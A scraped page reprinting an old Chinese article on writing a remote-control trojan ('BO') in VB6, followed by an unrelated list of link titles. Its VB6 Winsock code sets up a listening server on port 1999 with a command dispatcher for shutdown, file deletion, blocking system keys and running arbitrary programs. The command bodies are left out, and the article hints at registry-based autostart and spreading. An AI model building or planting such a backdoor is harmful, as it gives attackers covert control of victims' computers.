说三道四技术文摘-感悟人生的经典句子
说三道四 > 文档快照

浅谈用VB6.0编写BO程序

HTML文档下载 WORD文档下载 PDF文档下载
浅谈用VB6.0编写BO程序


上海船舶电子设备研究所 洪杭迪

  BO又称“特洛伊木马”, 是在美国一次黑客技术讨论会上由一个黑客组织推出的。它其实是一种客户机/服务器程序,其利用的原理就是:在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。

  使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。

  在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:

Private Sub cmdConnect_Click()
 If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
  MsgBox ("请输入主机名或主机IP地址。")
  Exit Sub
 Else
  If Len(Text1.Text) > 0 Then
   tcpClient.RemoteHost = Text1.Text
  Else
   tcpClient.RemoteHost = Text2.Text
  End If
 End If
 tcpClient.Connect
 Timer1.Enabled = True
End Sub

  连接建立之后就可以使用DataArrival事件处理所收到的数据了。

  在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:

Private Sub Form_Load()
 tcpServer.LocalPort = 1999
 tcpServer.Listen
End Sub

  准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:

Private Sub tcpServer_ConnectionRequest(ByVal requestID As Long)
    If tcpServer.State < > sckClosed Then
      tcpServer.Close '检查控件的 State 属性是否为关闭的。
    End If  '如果不是,在接受新的连接之前先关闭此连接。
    tcpServer.Accept requestID
End Sub

  这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。

  建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:

Private Sub tcpServer_DataArrival(ByVal bytesTotal As Long)
 Dim strData As String
 Dim i As Long
 Dim mKey As String
 tcpServer.GetData strData 
 '接收数据并存入strData
 For i = 1 To Len(strData)
 '分离strData中的命令
  If Mid(strData, i, 1) = "@" Then
   mKey = Left(strData, i - 1)
   '把命令ID号存入mKey
   '把命令参数存入strData 
   strData = Right(strData, Len(strData) - i)
   Exit For
  End If
 Next i 
 Select Case Val(mKey)
  Case 1
   '驱动器名、目录名、文件名
  Case 2
   '强制关闭服务器端的计算机
  Case 3
   '强制重启服务器端的计算机
  Case 4
   '屏蔽任务栏窗口;
  Case 5
   '屏蔽开始菜单;
  Case 6
   '按照客户机端传过来的文件名或目录名,而删除它;
  Case 7
   '屏蔽热启动键;
  Case 8
   '运行服务器端的任何程序
 End Select 
End Sub
详细程序略。

  客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。

  另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:

Private Sub tcpServer_Close()
 tcpServer.Close
 tcpServer.Listen
End Sub

  这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。

  成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用BO程序破坏别人的系统。


C、CPP const 详解 三星5G技术获得突破性进展 未来传输速度可达10Gbps 5月14日:1984年美国社交网站Facebook创办人Mark Zuckerberg出生 Chartkick:一行代码即可绘制出漂亮的图表 用友UAP将打造开放平台 建应用商店销售企业级应用 共享软件营销:如何将你的产品推向海外 谷歌使用Debian Linux作为GCE的默认操作系统 大数据?别唬人了!我们真的需要盲目烧钱追求大数据吗? 日本社交手游公司GREE巨星陨落 中国区全员被裁 战歌:85后手游开发团队背后的故事 分秒钟做款App:细数国内外在线DIY应用网站 指点传媒CEO专访:紧握二三线市场用户命脉 专访Waygo创始人:白切鸡怎么翻译? 探究共享软件海外营销新策略(西安站) 讲师秀8:车音网沈康麒和他的智能驾车服务 数据可视化独领风骚:看这6家初创公司如何玩转大数据? 最新研究显示:IE10防恶意软件能力比Chrome等浏览器都要强 Windows Blue正式定名Windows 8.1 对Windows 8及RT用户免费 Testin云测试破1000万次 自动化测试成趋势 接手Android后首次接受媒体采访 Sundar Pichai谈Android未来 C语言实现二分法查找 让开发者高效编程的10个新框架 Google Analytics中显示访客停留时间为“0”的秘密 大数据之惑 麻省理工三位物理学家自建数据库服务Cloudant 融资1200万美元 网页浏览器进入再造新时代 AMD揭露HSA运算架构新技术hUMA细节 美团悄然上线云主机服务:与亚马逊殊途同归,还是另有谋划? 微软发布deep-tech团队招募令,期望获得下一代开发者的支持 2013谷歌I/O开发者大会:发布多个软件产品和服务 C语言实现二分法求解方程 一个SQL语句的问题 怎么在form中定义一个变量,然后可以在另一个form中调用!? 请问考过SCJP的大虾,SCJP考试的题目是中文还是英文,证书的有效期是多长时间? 用SOCKS5协议同服务器建立连接后,连接到外部网站(象新浪),如何将网页显示出来呢? /Access数据库中的一个表,最多可以有多少字段?/ 有关DBHCP 求救,谁有pb6.5的光盘。想买一张或者刻一张(限北京) 请教:jdbc 连线管理 高手们,怎么动态生成button??? 好消息!!! 购买外文原版书的朋友---》www.china-pub.com 如何制作包含系统驱动程序的安装盘? 为什么会发出这样的声音? 从98年到2000年中程水平考试上午题就没高过45分,这次上午题普遍认为比前几年难,该不会超过45分把。 ————————————简单的问题 怎样将AutoCAD图形存储到SQL SERVER中,而且不是存路径 请问怎么样知道当前记录属于表中的第几条记录(我用的是ADODC控件) ????请问怎么在Applet应用程序中打开Word文档?????? #####救我啊~~~~~文件好好的为什么坏了###### 我已被richeditctrl折腾得不行了,我有些文本要显示,只要求能改变颜色,行距,能该字体最好,谁能给我推荐一个控件,我备有厚礼! 一个C问题! 急!!!!高手请赐教! 请问我有一张FAT32的软盘,能不能在linux下读取盘上的内容呢? 关于连接共享的问题, 请帮忙 如何对动态创建地组件进行操作???救命!!!!! 请问嵌入式开发和单片机方面有什么关系??? WTO向中国开出首张罚单! 请问各位大侠,在西安哪里有介绍db2的书的? 我以前用VB,现在想转向VC++,可我看了一些VC++的入门书根本摸不着头脑,各位老师,我该如何是好??? 谁用过TextRect这个过程,为什么它的最后一个参数TextFlags无法用,一加上这个参数就报告参数个数太多? 请教一个关于Session的问题 急用,一个票据打印的问题???请教各位高手!多谢! 请哪位大虾解释一下线程中语句sleep(n)的含义,谢谢!!!! Norwaywoods(挪威的森林),谢谢你,请来拿分呀,天,送分都这么难!!! boundschecker大讨论,为何运行vc的go完毕后,未报内存泄露,但boundschecker去却报了一大堆错,信谁?详见内 关于java中,ftp的问题,用FtpClient如何获取server端的目录结构啊,多谢。 任务管理器不能正常工作 〉〉〉〉如何才能使用户禁止修改表单上的某些域??? 请问如何使某个窗体总是最上面,而且总是当前活动窗口? 如何保存对OLE对象(位图)的修改?在关闭OLE调用之后 '如何在ActiveReport1.0中的得知报表中当前打印位置. 请问考过MCSD的大虾,MCSD考试的题目是中文还是英文,每一门是多少钱? !!怎么让运行程序后的图标显示在任务栏中,即和输入法的图标放在一起 insmod ***.o 提示设备或资源忙!什么问题?????? 请教高手! 我以前没做过lotus开发,想转做这个不知该从何入手,请各位前辈指教(是不是如果没有项目经验找工就特别难?) 请问如何改变datagrid、sstab的颜色? 急!!! 请海星看过来,有关The art of computer programming 请教高手!很急的哦 java怎么处理无限循环中不可到达的语句?请指教,谢谢 asp的登录的验证漏洞如何解决 POF热收缩膜质量检测标准有没有内行啊? 高一物理第六题 有一只“12V,6W”的电灯泡和一个15V的电源,要使灯泡正常发光,需要将电灯泡和一个电阻串联在电路中,1)这只电阻的阻值多大2)这个电路消耗总功率多大 有三个电阻,R1=8欧姆,R2=12欧姆,R3=20欧姆将其串联在十伏的电源上,求三个电阻两端的电压各是多少? 甲乙两个工程队合修一条路,甲队的工作效率是乙队的3/5 .两队合修6天正好完成这条路的2/3,余下的由乙队单独各位好心的网友们 我脑子 有点 转不过弯来 写的时候 这一步 求出来的 是什么! 有一辆汽车以匀速340米每秒的速度走了100米,求行驶了100米时间.莪算的是340/100,但是莪得出来的是3.4,34,但是不知道落下了什么. 杀虫剂瓶子里的钢珠有什么用 三元乙丙橡胶的日常用途日常生活中有哪些物品能用到三元乙丙橡胶,河北省有做这个的厂家吗?我想弄点样品做实验,用在汽车轮胎上 一辆列车过一架长100米的桥用了20秒,过一架200米的桥用了30秒,他与一辆200米的速度是每秒20米的列车错车用多少时间不用二元一次方程怎么解 在下图中,已知电压为220V,电阻R1为30欧姆,电阻R2为15欧姆,电阻R3为10欧姆,求通过电阻R3的电流.怎么计算, 谁知道525型三元乙丙橡胶的性能参数和用途. 甲,乙两个工程队合作一项工程,需16天完成,现两个队合作9天后,甲对被调走,乙对又单独做啦21天完成,若甲队单独做需要x天完成,则可列出的方程式为 甲乙两个工程队和修一条路,甲队单独修30天完成,乙队的工作效率是甲队的5分之四 大、小两种钢珠共40颗,重360克.已知大钢珠每颗重12克,小钢珠每颗重8克.大、小钢珠各有多少颗. 杀虫剂喷完以后需要清理喷过的地方吗?它自己会挥发干净吗? 如图10—2—19所示,电阻R3=4 Ω,电表为理想表.开始时R1、R2、R3中都有电流通过,电压表示数为2 V,电流表示数为0.75 A.后来三个电阻中有一个发生断路,使电压表示数变为3.2 V,电流表示数变为0.8 电阻R1=40欧姆,电阻R2=20欧姆,电阻R3=10欧姆,电源电压U=220V,求流过电阻R3的电流I3的大小是多少A? 是不是每种杀虫剂的挥发时间都相同 如图所示,电阻R3=4Ω,电表为理想表.开始时R1、R2、R3中都有电流通过,电压表示数为2V,电流表示数为0.75A,后来三个电阻中有一个发生断路,使电压表示数变为3.2V,电流表示数为0.8A.求:(1)哪 盒子里有大小两种钢珠共30个,共重266克,已知大钢珠每个11克,小钢珠每个7克,盒子中大钢珠小钢珠各多少? 杀虫剂多久可以挥发 pe膜和pvc膜有什么区别它们分别是什么价位 盒子里有大小两种钢珠共30个共重266克,大钢珠每个11克,小钢珠每个7克,盒子中大,小钢珠各有几个. 油基杀虫剂会挥发吗我不懂这个结果喷了很多在房间内 而且散了很久都是烟雾缭绕 我就睡觉了没什么问题吧而且地板 电脑...满屋子都是油 该怎么办?收拾的话很费劲 放置的话那层油那挥发 甲、乙两个工程队的工作效率比是3比5,现在要修一条240米的公路,甲工队单独要20天,那一单独要几天?240/3=80(天)80/20=4(倍) 240/5=48(天)48/4=12(天) 我的答案对的,老师 甲乙两个工程队合修一段公路,甲队的工作效率是乙队的五分之三,两队合作六天刚好修完公路的三分之二,余的由乙队单独修,还要多少天完成? 雷达杀虫剂多久挥发完 甲乙两个工程队共同修一条路,分别从两端修,先由甲队修240米后,乙队开始修,甲乙工效比7:5,完工时,甲修全长65%,完工时乙队修了全长的( )%,这条路全长多少米? 甲乙两个工程队合修一段公路,甲队的工作效率是乙队的5分之3,两队合修6天正好完成这段路的三分之二,余下的由乙单独修,还要几天才能完成? 如图所示的电路中,定值电阻R的阻值为36欧,闭合开关后电压表示数为2.4伏,灯泡L的电阻为12欧,求通过灯泡L的电流,电源电压U和定值电阻R的电功率. 蚊子最怕什么声音 甲乙两个工程队合修一段公路,甲队与乙队的工作效率比是3:5.两队合修5天正好完成这段公路的三分之二,余下的由乙队单独修,还要几天才能修完? 如图a所示电路中,已知固定电阻R=24欧,电源电压U=10V,电阻R0=1欧,灯泡L的I-U图像如图b所示,电键K闭合后电路中电流强度为?此时灯泡电阻为? 蚊子最怕什么呢? 甲乙两个工程队合修一条公路,甲队的工作效率是乙队的5分之3两队合作6天正好修完这段公路的3分之2余下的由乙单独修,还要几天才能修完? 怎么算摩擦系数 甲工程队修一条路要15天 乙队要20天 求甲乙两队的工作效率最简整数比 谁知道丁苯橡胶与三元乙丙橡胶共混橡胶的价格 将该电路图中的灯泡换成五欧,十欧,十五欧,二十欧,二十五欧的定值电阻,滑动变阻器接入电路阻值为14欧,图丁为接入电路的定值电阻的电阻与电流关系问所选的定值电阻阻值为多少 修一条路,若甲乙两个工程队合修要六天完成,如果乙队单独修要十天完成,则甲乙两队工作效率的最简整数比是()谢谢了 高一物理第六题求解! 盛放化学药品的瓶子叫什么如题~比如盛放硝酸的那种瓶子~ 甲、乙两个工程队工作效率的比是8:3、现甲、乙两个工程队同时和修一条公路,当甲队修了总长的五分之二少24千米时,被调到另一个工地,由乙队继续修完剩下的132千米,这条公路长多少千米? 高一物理,第六题,求解 为什么化学药品常装在棕色的瓶里? 空气摩擦系数是多少 为什么化学药品有的要装在棕色瓶子里? 那个棕色的瓶子里装的是什么?我今天看到几个年轻人在抢一个棕色的瓶子,他们称呼那个叫手榴弹~大概是因为瓶子的外形像,上大学的时候看有男同学也拿过这种东西,这瓶子里装的是什么?听 空气摩擦系数K具体数值是多少做数学建模,关于交通事故的,不知道用不用的着 ,看看具体数值先,谢谢各位高手了高度,当然是在地面了…… 高一物理 第六题 在图13所示的电路中,已知电源电压U=15V,灯泡L规格为“12V 6W”,电阻R2=60欧,滑动变阻器R1的最大阻值为40欧,开关S闭合后(1)当开关S1、S2都断开时,灯泡L刚好正常发光,R1接入电路中的电阻值多大? 常温下 空气在pvc管中的摩擦系数是多少 怎么算出来的 为什么见光易分解的化学药品要放在棕色的瓶子里?别的带颜色的不行吗? 一只标有12V 6W 的灯泡,为了使他能在24V的电路中正常发光,必须给它__连一个__欧的电阻此时电阻消耗的公 如何计算POF热缩膜的重量 3.设想在月球表面上,宇航员测出小物体自由下落h高度所用的时间为t,当飞船在靠近月球表面圆轨道上飞行时,测得其环绕周期是T,已知引力常量为G,根据上述各量,试求:(1)月球表面的重力加速度 把一个标有“6V,6W”的小灯泡连接在15V的电路中,且要求正常发光,那么需 连一个阻值为 Ω的电阻 POF交联热收缩膜的特性是? 为什么有些化学药品用棕色瓶子装? 标有"6V 3W"灯泡接入19伏电路中,要正常发光,必须_联一个阻值为_欧的电阻,该电阻在灯泡正常发光时消耗的功率为_瓦
备案号:鲁ICP备13029499号-2 说三道四 www.s3d4.cn